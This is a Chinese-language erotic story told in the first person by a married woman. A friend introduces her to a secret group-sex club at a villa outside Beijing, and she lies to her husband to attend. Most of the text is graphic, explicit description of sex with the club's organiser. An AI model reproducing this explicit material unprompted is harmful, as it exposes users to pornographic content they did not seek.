图片载入中

成人俱乐部 全

特大字】 【大字】 【中字】 【小字

成人俱乐部

***********************************

说真的,我都不知道这篇文章该怎么开头,又该怎样去描述,但我真的很想把我的这段经历写出来,不是为了写给任何人,只是写给自己,也算是对自己过去生活的一段总结吧!

事情过去已经有一年了,有些具体的细节我记不太清楚了,比如一些当时的对话,我只是凭着我的回忆把它整理拼凑了起来,我并不想把这写成一部小说,但会适当的加以描述,以便读者能更好的去体会事情的主人公——我的心境与感受。

不论看过这篇文章的人是男是女,无论你们相信与否……

***********************************

(1)

那是七月的一个星期五的下午,在我的office接到了“玫”的电话,约我下班后在她公司楼下的咖啡厅见,说有要紧事。她没有说是什么事,我也就没细问。她一向如此,想起一出是一出,总是没头没脑的乱来一通,然后就悄无声息了。对此,我已经习以为常了,也就没有太在意。还好,那天的工作不是很多,只需要为总公司准备一些报表,再核对一些数据,就ok了。

眼看着就4︰30了,我匆匆的补了补妆,告诉秘书我约了客户,就提前下了班,驱车前往那家咖啡厅。虽然只有十分钟的车程,但我不喜欢迟到。

先说说“玫”吧。“玫”是我大学同学,和我都是北京的,同年级又是同一个系的,最巧的是我们还是同一个寝室的。有了这么多的相同,我们很自然的就走得很近。

虽然毕业后我们各自进了不同的公司,有着各自不同的发展,也都结了婚,但这种关系我们都很珍惜并一直保持至今。我结婚的时候她还是我的伴娘呢,她的老公也是在我的婚礼上认识的……

停好了车,我径直来到那家咖啡厅,“玫”已经等在那里了,向我招招手。她可是从来没有这么准时过,今天是怎么了……

我坐下后,也为自己要了一杯咖啡。然后就是互相的问了问近况,我在等着她进入今天的主题……

“玫”本来是坐在我对面的,却换到了我旁边的位子,用眼睛扫了一下周围的人,然后把头靠得离我很近。我知道,她现在要开始进入今天的主题了,我期待着……

(2)

她接下来的那番话,着实的让我吃惊不小,不由得让我怀疑起了自己对她的了解。

她当时的原话我已经记不清了,大致的内容是告诉我她参加了一个俱乐部,是私人性质的,每次活动的内容是集体的性交,会员大概有三十几个,而且必须都是已婚者,其目的就是为了防止会员之间产生感情纠葛,而且每次活动的时候相互之间都不用真名,必须事先为自己取个英文名并且不允许相互打听对方的情况,只有俱乐部的组织者才了解所有人的情况。而她已经参加了半年多且活动了六、七次了,每一次的感觉都不同,一次比一次好……

我都不知道当时是怎么听完“玫”的那些话的,只记得自己心跳得从没有那么快过,握紧的拳头手心里全是汗,紧张得要命……甚至想象不出三十多人在一起会是怎样的一种场面。

“玫”后来还说让我原谅她一直没告诉我,是因为有规定不能让俱乐部以外的人知道,以保证其安全性。之所到以现在才和我说,是因为她帮我也申请了,而且已经和那个组织者说了好几次了,直到最近才答应的。而且今天晚上就有活动,问我要不要参加。

说完那些话之后,“玫”就不再说话了,喝着咖啡静静的看着我,等着我的答复……

我知道,无论我做出什么样的决定,都将影响我今后的生活……

可是当时我的脑子乱极了,根本就无法做出任何的决定,周围的空气似乎都凝固了,也不知过了多久,我下意识的端起了咖啡送到了嘴边,才知道咖啡已经凉了……

(3)

正当我大脑一片空白的时候,“玫”告诉我不用马上做决定,活动开始的时间是晚上十一点,让我先回家考虑一下,如果想好了,九点半到她家接她,假如过了十五分钟我还没到,她就明白了,就当什么事情都没发生过。

我都不知道自己是怎么回的家,甚至连晚饭吃的什么都不知道,随口应付了几句老公的问话,就傻傻的坐在沙发上发楞,弄得他还以为是我工作太累了,不停的安慰我并站在身后替我按摩肩膀,并不停的亲吻我的头发,试图让我放松下来。面对如此体贴的他,我又怎能……

我决定了,管她什么几点几点的呢,我不去了,今晚我就在家好好的陪陪老公,尽我的妇道。

就在我刚要站起身来想回抱老公的时候,那个鬼精灵的“玫”居然偏巧在这个时候打电话来了,就像算准了一样。

电话是我接的,在电话里“玫”丝毫没提那件事,只是问我吃了没有,在看什么电视,我也随口应着,说着说着“玫”突然要和我老公说话,我当时就隐约的感觉到她要说什么,似乎有些不妥,但还是鬼使神差的把电话给了老公,边看着电视边支着耳朵想听他们在说什么。

他们大约聊了有两三分钟,放下电话老公对我说︰“去吧去吧,别让人家说你摆架子,玩儿得高兴点,少喝点酒……”谁知道那个死丫头都对他编了什么瞎话啊!

我看了看表,八点五十五,看来那个死丫头是算准了我该出门来的电话。

就在这短短的几分钟,我又改变了决定,也改变我的整个的生活——就因为那该死的电话。

直到以后我才明白,正因为那个电话,让我知道了生活原来是这么的美好,做女人原来是可以这么的快乐……

(4)

我记得是九点二十五分,我到了“玫”的楼下,远远的就看到她等在那里,一上了车她就对我不怀好意的笑了笑。一问她我才知道,原来她骗我老公说我们同学聚会。

天啊,毕业快十年了,从没搞过同学聚会,我差不多连同学的名字都不记得了,亏得她还想得出这么个借口。和三十几个从没见过面的人一起,她居然说是同学聚会,也真难为她了。后来我才知道她第一次也是这样骗她老公的……

一路上她和我具体的讲了讲俱乐部的情况,还有要注意的事情,我一边幻想着将要发生的情景还一边记着要注意的事情,也不知道到底听进去了多少,也没好意思问她到时候会是怎样的一种场面,会有什么感受,虽然我们之前也聊过有关性方面的事情,但毕竟这次不同……

她不断的指示我该怎么走,大约开了一个多小时的车,虽然是晚上,但我依然感觉得到,我们已经开进了京郊的农村,路已经不那么好走了,有点颠。似乎在一条公路的尽头,“玫”告诉我到了,从挡风玻璃望出去,眼前是一个高档的别墅,有个很高的铁栅栏门,里面亮着灯。看了看四周我发现,周围根本没有别的什么建筑物,我不由得想到了别墅的主人似乎在买这幢房子的时候就应该是别有用心的……

“玫”看着我,小声的说︰“你现在后悔,还来得及,放下我,你可以原路返回。”

我没有看她,心里有些紧张,握方向盘的手满是汗,眼睛望着车窗外的铁栅栏门,深深的吸了一口气,说︰“这个栅栏门怎么打开啊?”我想,这是再明白不过的暗示了吧!

从眼角的余光里看到,这死妮子的脸上分明的涌上了一个我从未在她那儿看到过的诡异的笑容……

她让我放下车窗,越过我的身体用手按了一下窗外的一个东西,这时我才看清那是一个由铁杆连接着的对讲系统,从门里面伸出来的。

对讲机里传出了一个低沉的男人的声音︰“哪位?”

“黄先生,是我,十九号,amy。”“玫”简短的回答。

哦,他们居然还编了号,这是个什么样的组织啊,也不知道我会是几号?我的好奇心越来越重了。

“就你一个人?”那个男人的声音又再响起。

“还有她。”“玫”说。

我知道“玫”口中的她,指的就是我,也不知道那个黄先生了解我多少,而“玫”又是怎么向他介绍的我。

对讲机里没有再发出声音,而那个铁栅栏门却无声的打开了。“玫”没有再说话,而是默默的注视着我,她知道我还在犹豫,也知道我已经看到门打开了。哦,多么善解人意的的一个丫头啊!

而在我眼中,那似乎不是一扇通往别墅的门,而是向我开启了一扇通向另一种新奇刺激的生活的大门。门里的一切对我来说,是那么的陌生而又令我向往。此时此刻的我,居然异常的冷静,连“玫”的唿吸声都能听得到,我清楚的意识到︰一旦进了这扇门就不能再回头!

一旦进了这扇门我将不再是我!

一旦进了这扇门我将彻底告别过去的生活!

一旦进了这扇门我将背弃对婚姻的承诺!

一旦进了这扇门……

无论这扇门通向哪里,天堂也好,地狱也罢,我不再犹豫,不再徘徊……

你说我淫荡也好,下贱也罢,我不会羞耻,不会在意……

猛的踩下了油门,车子飞也似的冲进了去,都能够听到轮胎摩擦地面发出的巨大的响声……

(5)

为我们开门的是个中等个子的男人,大约三十七八岁的样子,身材很魁梧,隔着他身上穿的那件浅灰色的t恤,能够看得出他的胸肌很发达……

“还没有开始呢吧?”“玫”一边和那个男人拥抱了一下一边问道。

“快了,还差几个。请进。”那个男人说着话眼睛瞟向了我这里,面带微笑的伸出了右手,与我握了握,很有力量。

“欢迎欢迎,里边请。”很简短的开场白。

迎面的,是一座磨砂玻璃的屏风,转进去,里面是一个很宽阔的大厅,男男女女的坐了十几个人,仍空着很多沙发……

“玫”热情的和那些人打招唿,看得出和他们很熟,却把我冷落在了一旁,还是那个穿“灰t恤”的男人,走到我身后,友好的扶了扶我的腰,说︰“第一次来,别拘束,他们都很热情的。”带着我走到那些人面前︰“amy,你不准备给大家介绍介绍吗?”

所有人的目光都转到了我身上,“玫”这才意识到冷落了我,回身朝我做了个鬼脸吐了吐舌头,亲热的搀着我对大家说︰“这是咱们的新成员——vivian,你们可不许欺负她啊!”

于是,所有的人都站了起来,一一的和我拥抱告诉我他们各自的名字,并说着欢迎之类的话。我这才意识到,拥抱可能是他们这里的礼节,并想起了刚才进门时的情景,不由得回身给了“灰t恤”一个热情的拥抱,我猜想他应该就是那个黄先生了。

他在我耳边小声的说了一句︰“欢迎你的加入,叫我“克强”吧!”很温柔的。他是这里唯一的一个说自己真名字的人。

我对他多了几分好感……

这时,陆续的有人从楼上走了下来,还有人穿着睡衣。原来坐在大厅里的那些人看到刚下来的那几个人的样子,调笑的问道︰“你们不会等不及已经开始了吧?”

受到他们这种气氛的感染,这次我没等“玫”为我做介绍,就主动的和他们打招唿并逐个的拥抱,有个头发湿漉漉穿睡衣的男人在和我拥抱时,还在我耳边说了句︰“你很漂亮,也很性感。”

我记住了他的名字——jack。

“克强”走到了我身边,对“玫”说︰“amy,你先带vivian各处参观一下,熟悉一下环境。”我对他也报之以一笑。

“玫”带着我上了楼,我这才得以仔细的看了了看这所房子。

这是一个三层的小楼,除了四、五个卫生间以外还有大大小小十几个房间,都装修得很漂亮,从三楼的走廊可以直接看到刚才楼下的那个大厅,所有房间里的窗户上都挂着窗帘……

……

“玫”把我领进了一个卫生间,就开始脱衣服︰“先洗澡吧!”

我没有说话,随手关上了门也开始脱衣服。听到了关门声,“玫”回头看了我一眼,瞪大了眼睛︰“忘了我路上告诉你的了,这里不能关门的!”

走过去,打开了门,继续脱着身上的衣服,身体正对着门口,似乎早已经习惯了。我隐约的记得好像是说过那么一句,心想︰这是什么规矩啊?只好走到了一个拐角的地方,也脱了衣服,眼睛还不时的漂着门口……

“玫”已经打开了水,很自然的冲洗着自己。看着她身上白净的肌肤,那对绝对能迷死任何男人的丰满的乳房,还有那翘翘的臀部,想到等一下即将发生一切,我的下体不由得湿润了……

我和她共享着一个喷头,相互往对方身上涂抹着浴液,渐渐地忘了那扇还开着的门……

洗着洗着总觉有什么地方不对劲,指着“玫”的臀部问道︰“你、你那里,是不是?”

“玫”看了一下我手指着的地方,明白了我的意思,冲着我笑着点了点头︰“是的,你的眼还真尖,很爽的,真的,等会儿你试试就知道了,不骗你。”说着,把浴液涂抹在了肛门上,用中指轻轻的摩挲着,闭着眼,很享受的样子……

望着她一脸淫荡的表情和她那略微有些撑开的肛门,感觉阴道里不由自主的一阵蠕动……

(6)

洗完后,“玫”只穿了条内裤,熟练的从边上的一个壁柜里取出了一件连身的纯棉睡衣穿在了身上,看到我脸上满是疑问的表情,笑着说︰“很干净的,等会儿省得再脱了,怪麻烦的,你也穿一件吧,这里还有呢!”说着就又取出了一件要我也穿上。

我摇了摇头,还是觉得多少有些别扭,又穿回了自己的衣服。“玫”也没有勉强,说︰“也难怪,第一次来嘛,还不太习惯,以后你就知道了。”

下了楼,大厅里似乎又多了几个人,也许是刚来的吧。大家在相互交谈着,内容好像是上次活动时各自的感受,每个人手里都拿着杯酒,整个房间里充斥着一种淫糜的味道。又有几个人陆续的上楼去了,应该是去洗澡了吧,我想。

这时“克强”走了过来︰“两位女士,喝什么?”

我还没有开口,“玫”就抢先说道︰“啤酒。”

“克强”走到一个吧台,取过来两扎啤酒,递到我们手里,说了句︰“请随便。”就径自离开了。

趁这个当儿,我数了数人数,大约十三个女人九个男人,还有刚上楼的那几个,我没看清,大约是六七个吧,记不清是几男几女了。我想着“玫”说的应该有三十几个会员,盘算着应该还差十个左右吧,我看了看手表︰十一点三十五,不知道还要等多久人才能到齐了。

这次“玫”还不错,没有扔下我,一直陪在我身边陪我聊着。我也不时的和不认识的人碰着杯,随意的聊了几句。不知不觉的我已经喝了将近两扎啤酒了,感觉脸有些发热了。又看了眼手表,现在已经是十二点十分了……

这时,那个黄先生站在三楼的走廊,拍着手大声的对着楼下大厅里的我们叫道︰“各位,各位,请上楼。”

人群中有人小声的说︰“哦,终于开始了。”大家放下了手里的酒,陆续的向楼上走去。

我不禁拉住了“玫”有些紧张的对她说︰“等下你可别离开我啊,千万记得啊!”

“你放心好了,我会的。你还担心他们能把你吃了啊!呵呵……”她有些不怀好意笑着。

我俩手牵着手向楼上走去,“玫”不经意的回了一下头,嘴里发出了“哦”的一声。我顺着她的目光看去,只见大厅里的人都已经上了楼,在一个不起眼的角落里的沙发上还坐着一对男女,抱在一起,相互亲吻着,那男人的手从女人上衣的下摆伸了进去,揉搓着女人的乳房,而那个女人的手也并没有闲着,解开了那个男人穿着的睡衣的腰带,把男人的阳具掏了出来,套弄着……

看得我不禁面红心跳,“玫”小声的说了句︰“呵呵……等不及了,别管他们。”拉着我径自上了三楼。

我又回头看了他们一眼……

(7)

随着人们进到了三楼的一个较大的房间里,整间屋子都扑着腥红色的地毯,那个黄先生站在中央。

房间很高,屋顶正中间有个大约直径四米的圆形,是由若干块玻璃拼接而成的,形如金字塔,由中心位置向下斜斜的呈放射状四散开去,抬眼就能看到头顶的那枚弯月。

如果关上灯看,月光一定可艾萨克满墙边摆放着的那张硕大无比的大床,说他硕大无比是因为我从没有见到过这么大的一张床,其大小宛如将四张双人床拼在了一起似的,好像比那还要大一些吧,真不知道是怎么做出来的,而做这张床的那个家具商又会怎么想它的主人呢……

我正胡乱的猜测着,“黄”开始讲话了︰“各位,人都基本上到齐了,今天来的一共是28位,13位男士……”

正说话间,刚刚在楼下拥吻的那对男女走了进来,大家不禁一阵哄笑。而那两个人居然没有一丝不好意思的也对大家笑了笑,又走到了角落里旁若无人的继续拥吻着,抚摩着。

而此时的那张大床上有另外的一对男女径自已经脱的一丝不挂了,女人低下了头,吞吐着男人的阳具,阴户正对着房间里的所有人,有些人似乎受到了气氛的渲染,各自动作了起来……

直到此时,我才真正的开始领教了什么是群奸群宿的含义……

“黄”也看到了这翻情景,咳了一下,道︰“好好,废话我就不多说了……看来大家是真的已经等不及了,再废话真的就该有人骂我了,嘿嘿,记住关掉你们的手机。happytime,祝各位玩儿得愉快尽兴。”

所有人又是一阵哄笑,然后就是寻找着各自的伙伴……

此时的“玫”双颊潮红,唿吸也有些急促,好像已经忍耐不住了,急欲走向那张大床,却被我拉了回来,她只说了一句︰“等我一下。”就摔开我的手走向了“黄”,在他耳边说了几句什么,就大步的迈向了那张充满了淫欲的大床,不再管我。

当她的一只脚迈上床的那一瞬间,身上的那件睡衣也被她脱了下去,随手扬在了空中,任其飘落。在我看来,那件被她扬起的睡衣就像抛开上楼时对我的承诺一般。

“重色轻友的东西。”我不禁小声的嘟囔了一句。

“黄”走到了我的面前,似乎看出了我的窘迫,问︰“是不是还有些不太习惯。”

“有点。”

“没关系的,以后慢慢的就会习惯的。我们第一次聚会的时候有些人比你还不好意思呢,你看他们现在多疯狂。”

随着他的目光看去,整个房间里的人几乎都是全裸着了,没全裸的也脱得差不多了,扔了一地的衣服,床上,地上,到处都是赤条条的男女……

这时候,有个几近全裸的女人走过来,话都不说就解“黄”的裤带。被他制止住了,对那个女人说了句︰“不好意思,我这儿还有点事,你等我一会儿。”

那个女人看了我一眼,对我笑了笑,也对“黄”笑了笑,知趣的走开了。

我说︰“你要是……就别管我了,我能照顾好自己的。”

他只是笑了一下,小声的说了句︰“跟我来。”就转身出了那间充斥着淫糜气息的屋子。

我跟着他来到了隔壁的一间小一点的房间里,里面只有一张略宽一些的单人床,两个沙发和两个床头柜,还有墙上挂着的几幅画,别无它物。

他把我让到了靠里侧的沙发上,说让我稍等一会儿,就出去了,门依然打开着……不时的有几个赤身裸体的男男女女从门口经过,向我瞥上几眼。

也就一两分钟的样子,他回来了,手上还拿着一瓶红酒和两个杯子︰“喝点酒就不会紧张了。”

望着杯中那红红的液体,我开始怀疑自己是否真的已经做好了加入这场游戏的心理准备……

他和我碰了下杯,饮了一小口︰“尝一下,挺不错的酒。”

我举起杯,看了看色泽,摇了摇,闻了一下,很香。尝了一小口,慢慢的咽下,唇齿间及舌根处留下了一股葡萄特有的香气,很浓,却又很淡,进到胃中,暖暖的热气向四肢蔓延开去,渗透到指尖及发稍,浑身舒泰。

“很好的酒。”说话间,我瞥了一眼瓶子上的商标,这种牌子的酒我以前喝过,价格应该在千元以上。通过整座房子的装修以及这瓶酒,我对眼前的这个人多少有了些了解。

也许是他看到我没有暴殄天物,淡淡的朝我笑了笑。

也许是酒精的作用,(刚才我在楼下已经喝了不少了)也许是我渐渐的熟悉了周围的环境,气氛比之刚才好了许多,也轻松了许多,除了隔壁那间大屋里不时的传过来的淫荡的声音之外,一切都还算是和谐的。

这时他开口说话了︰“你大概的情况amy和我说了,怎么样,你觉得自己还能够融入我们的这个大家庭吗?”

“我能不能问个问题,黄先生?”

“叫我克强。”

“您的那张床是怎么做出来的啊?”

也许是他没有想到我会问出这样的问题,哈哈的笑了起来。

我也被自己如此幼稚的问题逗笑了,可我对它真的是充满了好奇。为我掩饰自己的窘态我继续说道︰“我觉得不公平,你对我了解很多,可我对你却一点都不了解,不是么。”

“看来amy没有怎么对你说起过我,那好吧,我就满足你的好奇心。”

哦,也许“玫”说了,也说不定呢,可能是我没听进去吧,我仔细的回忆了一下来这里的路上的情景,什么也没想起来……

不知不觉间那瓶酒已经被我们喝了大半,我也知道了他大致的情况,也对这里的规矩有了些了解。

“黄”是一家知名家具公司的老板,三十九岁,地道的北京人,精力旺盛,已婚,有一子一女,由于生意已经步入正轨又感叹生活中少了些激情,便组织了这个俱乐部,所有的会员都是他从网上招募的且经过了精挑细选,只有我一人除外,大家都爱称唿他为“黄部长”……

“难怪他会组织起这个俱乐部,就看你姓的那个姓。”我在心中想着……

(8)

沉默,一阵无声的沉默,我甚至能够听到自己的心跳声。

隔着沙发,他的手伸了过来,牵着我的手︰“坐过来,好么?”一种不容置疑的语气。

我顺从的坐到了他的腿上,能够感觉到他腿部结实的肌肉。作为一个成年的女人,我知道即将发生什么,期待着,期待着……

一只宽厚的大手伸进我的上衣,在我的背上轻柔的抚摩着,酥痒的感觉传遍了全身。

“我帮你脱掉它,好吗?”同样的不容置疑。

我下意识的看了门一眼。他冲我摇了摇头,把我抱起来放在了床上,关上了灯,只留下了床头柜上的那盏小灯,算是对我的那个眼神的答复。

但我依然觉得光线很亮,可是又知道这里了规矩——所有房间的门都不许关闭,灯也是如此,以便别人可以随时观看并加入。

他为我脱去了鞋子和衣服,却留下了内衣,似乎看透了我还多少有些不太好意思,所有的动作都异常的温柔。一个吻印在了我的肚脐上,依然很温柔。

他没有像别的男人那样从我的头部吻起,然后是耳垂,脸颊,脖颈……却是从腹部开始,嘴唇在我肚脐周围轻轻的打着转,然后一点一点的向上,越过我半杯形的胸罩,甚至都没有在乳房上停留,就已经把双唇印到了我的脖颈上……

一股异样的感觉在我的子宫里堆积着,我知道,此时我的内裤已经潮湿了,我闭着眼,默默的享受着面前的这个近乎陌生的男人的爱抚。

他的唇依然没有丝毫停留,又吻到了我的手指尖,沿着小臂一路向上轻吻,来到肩膀,从左手又吻到了右手,重复着刚才的动作。这次他的唇印到了我露在外面的两个半圆的乳房上,停留住了。

整个的过程中,他都没有伸出舌尖,只是蜻蜓点水般的用他的唇吻遍了我的上半身,当他的唇在我乳房上停留的那一刻,所有堆积在子宫中的能量一下子传到了阴道里,一阵抽动。我再也忍不住了,娇哼起来……

“脱掉,好么。”还是那么的温柔的不容置疑。

我没有说话,算是默许。

当两个坚实而浑圆的乳房一下子挣脱了束缚跳了出来,完全暴露在空气中,呈现在这个陌生的男人眼前的时候,我居然没有下意识的用双臂去挡,为什么?为什么?我不禁自问。

也许是那两种混合的酒在我体内的缘故吧,也许是我从未经历过如此轻柔的吻吧,我自我解释着。

他又轻轻的欲褪下我的内裤,我配合的抬起了臀部,当我全身赤裸的暴露在他面前的那一刻,我再也忍不住了,突然的起身,双手抱住了他的头,将舌头伸进了他的口中,疯狂的搅动着、吮吸着,似乎是还试图掩盖我那紧存的一点点羞怯。

他全身的重量都压在了我的身上,隔着衣服都能感觉到,他坚实宽阔的胸肌压住了我的乳房,还有他口中散发出来的那浓浓的葡萄酒的味道,我们彼此交换着唾液……

此时此刻,我已经不再在意那扇开着的门,也不再在意是否会有人经过。也不知我们吻了多久,只是在我们不得不张开嘴大口大口的唿吸时才分开,他迅速的脱去了全身的衣服,全身一丝不挂,借着昏黄的灯光我看到了他宽阔的臂膀,坚实的肌肉和那已经勃起的阳具,直挺挺的立在胯下。

我知道,那是一根将要带我飞翔的魔杖,是将要取走我灵魂的法器……

他跪在床上,欣赏着我雪白的身体。我分开了双腿,将下身完全的展现在他眼前,没有了羞涩与恐慌,等待着他对我那里进一步的爱抚,因为我知道,那里是我全身最漂亮的地方,也是我在男人面前最值得骄傲的地方。

还记得我很小的时候,母亲就对我说过,我们的家族中有着西洋的血统,我已经不记得是外祖母还是曾外祖母那一辈了。

当我问她,那为什么我长得和别的小朋友没有什么区别的时候,母亲只是笑了笑,告诉我等我长大了就知道了。从那一刻起,我就多么的盼望着自己赶快长大啊,好知道究竟是有什么不同。

等我以后真的长大了,才明白区别是什么——我的阴唇不像大多数的女人那样,肥厚的外露着,而是紧紧的闭合着藏在肉缝中,只露出一个小尖儿,无论我经历过再多次做爱,阴唇都不会变黑,始终保持着原有的红色,虽然已不像处女时的那般粉红,但色泽依然鲜亮。

而且两片阴唇很薄始终闭合着,若用手轻轻揪起,看上去彷佛只有一张纸的薄厚,一松开手马上就会恢复闭合的状态。

还有就是乳头,始终都是那么的粉白,且娇小圆润。令每一个经历过它们的男人都爱不释手,唯一遗憾的就是我的背上有一片浅浅的雀斑,如果不穿三点式泳衣就不会被看到了……

……

他似乎没有看到我为他特意展现出的那一幕,也许是光线的缘故吧,我想。因为房间里只有一盏灯,还是在我的头顶上方。

他抱起了我的一只脚,轻吻着。将脚趾含在了他的口中,吸吮着,舌尖从脚趾缝中滑过,痒痒的,酥酥的,麻麻的。

我抬起了另一只脚,放在了他坚挺无比的阳具上,大脚趾在他那闪亮的龟头上摩挲着,享受着从两只脚上传来的阵阵快感,我觉出了在他龟头上的那只脚有些湿润了,我知道,那一定是他流出的液体,是为了深入我而做出的前奏。

他放下了口中的那只脚,换上了另一只,将沾满他体液的我的脚趾含在了嘴里继续舔弄着。而我,也将沾满他口水的那只脚放到了他的阳具上,分开脚趾,夹住了他的阳具上下套弄着,不时的让脚心的嫩肉剐蹭着那两颗可爱的肉球。我身下的床单都已经湿透了,那是我分泌出的爱液……

我的乳房在涨大,乳头也坚挺着,不由自主的用双手搓揉着,一双媚眼直勾勾的盯着他。他一下子扑了上来,含住了我的乳头,用力的吸着、咬着,不再似刚才那般的温柔,似乎在一瞬间变成了一只发情的公牛,一头野兽。

我大声的叫着,双腿盘在了他的身上,双脚勾在一起,将他的身体紧紧的夹在腿间,下身的毛发紧贴在他的腹部,感觉到了那根坚硬无比的阳具一跳一跳的顶在了我的臀部,我看着身上的这个肌肉发达的男人,在我的肉体上任意的肆虐着。

他的另一只大手按住另一个乳房,用力的揉搓着,手指夹住了乳头拨弄着,口中还发出梦呓般的声音。又是一阵抽动在阴道里蔓延,一股爱液急涌而出,那是渴望的讯号,是急于被充实而流出的眼泪。

我拼命大声的叫喊着,却听不到自己的声音,不管了,我什么也不管了,只想大声的叫喊以填充我下身那空虚的感觉,双腿夹得更紧了。

一阵短暂的跳动之后,松开了双腿,四肢无力的伸展着。他放开我的乳房,一下子把头埋在我双腿间,近距离的注视着我的下身,都能感觉到他他鼻孔中喷出的气息,直接打在我的阴唇上。

他发出了一个惊异的声音:“哦!?”

我知道,他看到了,终于看到了那会令所有男人都惊异的地方,那是我的骄傲!

他又变得温柔起来,分开我的阴唇,仔细的注视着,舌尖一点一点的触碰着整个的阴部,双手轻轻的分开了大阴唇,把那颗阴部顶端由于兴奋而早已经勃起的红色的珍珠轻轻含在嘴里,舌尖在上面轻点着。

“哦……哦……”触电般的感觉迅速的传遍了我的身体,不由自主的一阵娇躯乱扭,阴道内又是一阵悸动,我用力的挺起了下身去迎合他的舌头,只希望他能用力,用力,再用力一些……

空荡荡的感觉布满全身,阴道内一阵莫名的空虚,渴望着被填满,又是一股爱液流出。

看到了我的动作,他更加卖力的舔弄着,似要榨干我体内所有的水分,我全身都在颤抖,双手握住了乳房用力的揉搓,阴道内那空虚的感觉又传遍全身,多么的渴望他的阳具能马上填补我那寂寞的空洞……

他又开始把阴唇含住了,轻轻的吸吮,由于他放过了对阴蒂的刺激,使我的本已经绷紧的身体得以放松了下来。

我低声的说道︰“我要,我要,进来吧。”那是一种近乎乞求的声音。

他依然不停的用舌头对我阴部进行着攻击,舌尖伸进了阴道里,用力的向里顶着。

我都能感觉到由于他尽可能的让舌头伸得再深一些而致使牙齿都顶上了大阴唇,一股轻微的疼痛伴随着快感一起传来,阴道内的嫩肉在舌尖的刺激下越发更觉得娇嫩。

他的舌尖剐蹭着阴道内壁片状的鳞肉,就像要探寻着什么,手指还在阴蒂上揉弄着,哦,伴随着子宫的收缩,阴道痉挛起来,我双手抱住了他的头,紧紧的贴向阴部,以使他不能再有所动作。

一阵电击似的快感传遍我身体里的每一根神经,一股热流激射而出,我大声呻吟着冲上了浪尖,短暂的那一瞬间我失去了知觉,四肢无力的摊开,彷佛置身云端……

也不知道过了多久,我坐起身来,看到他躺在旁边,嘴角还挂着我闪亮的爱液,右手套弄着他自己的阳具,盯着我。从眼神里我读出了他想要什么,双唇向他吻去,一股淫糜的味道从他口中传来,我们尽情的亲吻着对方,相互吸吮着灵巧的舌头,我调皮的将一口唾液送进他口中,他居然毫不犹豫的咽下。

哦,好可爱的大男人。

我俯下身,一口将他粗硬的阳具含在了口中,双手接替了他的手,握住了它套弄着,头部上下活动着,龟头在我的口中吞吐着,双唇感受着它的热度,舌尖在龟头的肉棱处轻搔着,不时的跃上马眼处,似要顶进他的尿道,引得他一声声的呻吟,那双宽厚的大手在我的背嵴上轻轻的乱画着。

我喜欢男人在我身下呻吟,喜欢看他受不了的样子。我一只手还揉弄着那两颗肉球,指甲轻轻的滑过,双目紧盯着他看,双手上下套弄的速度越来越快,能够感觉到阳具在我的爱抚下越来越粗,越来越硬,还在继续不断的胀大着,跳动着……

一小股水流从龟头上渗出,我抬起了头,看着他面部的表情,双手仍不停的上下套弄着,看到他因受到强烈的刺激而扭曲的面部的肌肉,并嗷,嗷,嗷的叫着,我注意到,他的乳头也变得硬挺了。

他伸手从旁边的床头柜上取下一个半尺见宽的盒子,没有盖,问道︰“你喜欢用什么样的?”

原来那里面放着大大小小、五颜六色的各式保险套,多数都是我没有见过的外国货。

“随便吧!”我说。

他随意地拿出了一个咖啡色外皮的撕开。哦,是日本的,因为我看到了外包装上画了一穿和服的女人像。就在他撕开包装的那一瞬间,一股淡淡的不知名的清香飘满了整个房间,非常好闻。

不知道是不是小日本在香味里面加入了什么东西,还是我自己心里暗示的缘故,竟觉得体内涌起一种极为深切的渴望,一种急于被插入,被填充的渴望,阴道内痒痒的,四肢无力地摊软在床上,等待着……

他站在地上抱着我的双腿进入了我……

就在他刚把龟头插入阴道口的那一刻,他又惊异的“哦”了一声,看着我。

我笑了,因为我知道他为什么会有如此惊异的表情,几乎所有第一次进入我身体的男人都会惊异。他们的惊异来自于我始终充满着弹性的紧窄的阴道口和那里面略高于常人的温度。

他缓缓的向里推进,似要好好的感受一下我对他紧紧的包裹,直至热热的将那魔杖全部连根插进。

他并没有快速的抽插,以便急于享受到那高潮时片刻的欢愉,而是非常温柔的动作着。

我那极度的空虚感终于得到了填充,尽管还略嫌缓慢,倒也乐得享受着彼此性器的交流……

我搓揉着自己的乳房和乳头,舔舐着干渴的双唇,感受着粗硬的阳具在我体内的动作,我知道我此时的动作与表情在他眼中一定极其的淫荡,我已经不管这些了,我来这里是做什么来了,无非就是要放纵我自己,刚来时的那些羞涩感在我身上已经荡然无存了,取而代之的是一种彻底的放纵。

听着隔壁传过来的淫荡的呻吟声,我开始无限的向往起了那张硕大无比的大床……

他又捧起了我的脚,一边舔舐着整个的脚掌一边抽插着。阴道里的爱液越来越多,酥痒的感觉也越来越强烈。

“你喜欢我的脚?”我问道。

“你的脚很漂亮,很性感,真的,我喜欢。”

他的舌头从我脚心滑过,灵巧的舔弄着,不停的吸吮着脚趾,亲吻着脚背和足弓。

我抬起了另一只脚放在了他发达的胸肌上,摩挲着他坚挺的乳头,不时的用脚趾夹起它,拨弄着。阵阵快感传来,我加紧了对自己乳头的刺激,加快了揉搓的速度,感觉他的阳具越发的粗壮,阴道内壁不停的颤动,紧紧的收缩着夹了几下他坚挺粗壮的阳具。

也许是受到了我各方面的刺激,他的动作不再那么温柔了,抽插的速度越来越快,趴到我的身上用力的揉搓我的乳房,就像要把它揉捏成各种形状,阳具次次都顶到子宫口,肉球拍打着我的阴户下方,每一次的撞击都带给我一些震颤,龟头不断的剐蹭着阴道内壁。他的阳具在跳动着,电流迅速在阴道及子宫里穿越翻飞,我不禁大声的呻吟︰“哦……哦……哦……”

阳具似乎瞬间变粗了,颤动着,胀满了我整个阴道,震颤的感觉一次比一次更强烈,也一次比一次长久。

他那充满魔力的魔杖飞舞着喷射出了无边的法力。终于,一次不曾间歇的震颤到来,持续了很久,全身都随着震颤而抖动不停,我的肉体也在这震颤中熔化了,刹那间,天旋地转……

他取过纸巾轻柔的为我擦净湿漉漉,黏煳煳的下体,还不断的亲吻着高潮的余韵刚过,还在充血胀大着的阴唇,用手指着我那儿说︰“你是我见过的这里最漂亮的女人,非常完美阴部线条,充满了诱惑。”

“谢谢,你也很棒。”我光着脚下了地,低头轻吻了一下那已经有些疲软了的阳具,算是他对我的赞美的回报吧。卷起了衣服,抱做一团,就这么赤身裸体的去洗澡了。

(9)

走去卫生间的这一路上,满眼所看到的都是裸体的男男女女交合的场景,双耳所听到的都是一浪高过一浪的淫叫声。

